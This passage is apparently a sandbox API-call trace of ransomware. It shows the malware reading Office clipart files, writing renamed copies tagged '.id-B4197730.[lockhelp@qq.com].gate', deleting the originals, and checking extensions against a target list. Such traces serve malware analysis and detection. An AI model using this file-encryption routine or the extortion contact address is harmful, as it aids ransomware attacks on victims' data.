lpNewFilePointer=0x0) returned 1 [0316.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0316.097] GetLastError () returned 0x0 [0316.097] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2378, lpOverlapped=0x0) returned 1 [0316.186] WriteFile (in: hFile=0x494, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2380, lpOverlapped=0x0) returned 1 [0316.187] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.187] WriteFile (in: hFile=0x494, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0316.187] SetEndOfFile (hFile=0x494) returned 1 [0316.187] CloseHandle (hObject=0x494) returned 1 [0316.187] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.187] SetEndOfFile (hFile=0x404) returned 1 [0316.189] CloseHandle (hObject=0x404) returned 1 [0316.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0316.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0316.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0316.190] lstrlenW (lpString=".doc") returned 4 [0316.190] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0316.190] lstrlenW (lpString=".docx") returned 5 [0316.190] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0316.191] lstrlenW (lpString=".pdf") returned 4 [0316.191] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0316.191] lstrlenW (lpString=".xls") returned 4 [0316.191] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0316.191] lstrlenW (lpString=".xlsx") returned 5 [0316.191] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0316.191] lstrlenW (lpString=".ppt") returned 4 [0316.191] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0316.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0316.191] lstrlenW (lpString=".zip") returned 4 [0316.191] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0316.191] lstrlenW (lpString=".rar") returned 4 [0316.191] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0316.191] lstrlenW (lpString=".bz2") returned 4 [0316.191] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0316.191] lstrlenW (lpString=".7z") returned 3 [0316.191] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0316.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0316.191] lstrlenW (lpString=".dbf") returned 4 [0316.191] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0316.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0316.191] lstrlenW (lpString=".1cd") returned 4 [0316.191] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0316.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0316.191] lstrlenW (lpString=".jpg") returned 4 [0316.191] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0316.192] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=8076) returned 1 [0316.192] CloseHandle (hObject=0x404) returned 1 [0316.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0316.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0316.192] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.193] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0316.193] GetLastError () returned 0x0 [0316.193] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0316.393] WriteFile (in: hFile=0x494, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1f90, lpOverlapped=0x0) returned 1 [0316.394] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.394] WriteFile (in: hFile=0x494, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0316.395] SetEndOfFile (hFile=0x494) returned 1 [0316.395] CloseHandle (hObject=0x494) returned 1 [0316.395] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.395] SetEndOfFile (hFile=0x404) returned 1 [0316.398] CloseHandle (hObject=0x404) returned 1 [0316.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0316.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0316.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0316.400] lstrlenW (lpString=".doc") returned 4 [0316.400] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0316.400] lstrlenW (lpString=".docx") returned 5 [0316.400] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0316.400] lstrlenW (lpString=".pdf") returned 4 [0316.400] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0316.400] lstrlenW (lpString=".xls") returned 4 [0316.400] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0316.400] lstrlenW (lpString=".xlsx") returned 5 [0316.400] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0316.400] lstrlenW (lpString=".ppt") returned 4 [0316.400] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0316.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0316.400] lstrlenW (lpString=".zip") returned 4 [0316.400] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0316.400] lstrlenW (lpString=".rar") returned 4 [0316.400] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0316.400] lstrlenW (lpString=".bz2") returned 4 [0316.400] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0316.400] lstrlenW (lpString=".7z") returned 3 [0316.400] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0316.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0316.400] lstrlenW (lpString=".dbf") returned 4 [0316.400] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0316.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0316.400] lstrlenW (lpString=".1cd") returned 4 [0316.400] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0316.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0316.400] lstrlenW (lpString=".jpg") returned 4 [0316.400] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0316.401] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=25265) returned 1 [0316.401] CloseHandle (hObject=0x404) returned 1 [0316.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0316.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0316.402] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.402] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0316.402] GetLastError () returned 0x0 [0316.402] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x62b1, lpOverlapped=0x0) returned 1 [0316.411] WriteFile (in: hFile=0x494, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x62c0, lpOverlapped=0x0) returned 1 [0316.412] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.412] WriteFile (in: hFile=0x494, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0316.412] SetEndOfFile (hFile=0x494) returned 1 [0316.422] CloseHandle (hObject=0x494) returned 1 [0316.423] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.423] SetEndOfFile (hFile=0x404) returned 1 [0316.435] CloseHandle (hObject=0x404) returned 1 [0316.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0316.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0316.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0316.437] lstrlenW (lpString=".doc") returned 4 [0316.437] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.437] lstrlenW (lpString=".docx") returned 5 [0316.437] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0316.437] lstrlenW (lpString=".pdf") returned 4 [0316.437] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.437] lstrlenW (lpString=".xls") returned 4 [0316.437] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.437] lstrlenW (lpString=".xlsx") returned 5 [0316.437] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0316.437] lstrlenW (lpString=".ppt") returned 4 [0316.437] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0316.438] lstrlenW (lpString=".zip") returned 4 [0316.438] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.438] lstrlenW (lpString=".rar") returned 4 [0316.438] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.438] lstrlenW (lpString=".bz2") returned 4 [0316.438] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.438] lstrlenW (lpString=".7z") returned 3 [0316.438] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0316.438] lstrlenW (lpString=".dbf") returned 4 [0316.438] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0316.438] lstrlenW (lpString=".1cd") returned 4 [0316.438] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0316.438] lstrlenW (lpString=".jpg") returned 4 [0316.438] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0316.439] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=14337) returned 1 [0316.439] CloseHandle (hObject=0x404) returned 1 [0316.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0316.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0316.440] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.440] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0316.440] GetLastError () returned 0x0 [0316.440] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x3801, lpOverlapped=0x0) returned 1 [0316.478] WriteFile (in: hFile=0x4c0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x3810, lpOverlapped=0x0) returned 1 [0316.554] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.554] WriteFile (in: hFile=0x4c0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0316.554] SetEndOfFile (hFile=0x4c0) returned 1 [0316.555] CloseHandle (hObject=0x4c0) returned 1 [0316.555] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.555] SetEndOfFile (hFile=0x404) returned 1 [0316.557] CloseHandle (hObject=0x404) returned 1 [0316.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0316.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0316.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0316.674] lstrlenW (lpString=".doc") returned 4 [0316.674] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.674] lstrlenW (lpString=".docx") returned 5 [0316.674] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0316.674] lstrlenW (lpString=".pdf") returned 4 [0316.674] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.674] lstrlenW (lpString=".xls") returned 4 [0316.674] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.674] lstrlenW (lpString=".xlsx") returned 5 [0316.674] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0316.674] lstrlenW (lpString=".ppt") returned 4 [0316.674] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0316.674] lstrlenW (lpString=".zip") returned 4 [0316.674] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.674] lstrlenW (lpString=".rar") returned 4 [0316.674] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.674] lstrlenW (lpString=".bz2") returned 4 [0316.674] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.674] lstrlenW (lpString=".7z") returned 3 [0316.674] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0316.674] lstrlenW (lpString=".dbf") returned 4 [0316.674] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0316.674] lstrlenW (lpString=".1cd") returned 4 [0316.674] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0316.674] lstrlenW (lpString=".jpg") returned 4 [0316.674] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0316.675] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4967) returned 1 [0316.675] CloseHandle (hObject=0x4f8) returned 1 [0316.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0316.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0316.675] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.675] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0316.676] GetLastError () returned 0x0 [0316.676] ReadFile (in: hFile=0x4f8, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1367, lpOverlapped=0x0) returned 1 [0316.721] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1370, lpOverlapped=0x0) returned 1 [0316.722] ReadFile (in: hFile=0x4f8, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.722] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0316.722] SetEndOfFile (hFile=0x4b8) returned 1 [0316.723] CloseHandle (hObject=0x4b8) returned 1 [0316.723] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.723] SetEndOfFile (hFile=0x4f8) returned 1 [0316.732] CloseHandle (hObject=0x4f8) returned 1 [0316.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0316.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0316.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0316.785] lstrlenW (lpString=".doc") returned 4 [0316.785] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.785] lstrlenW (lpString=".docx") returned 5 [0316.785] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0316.785] lstrlenW 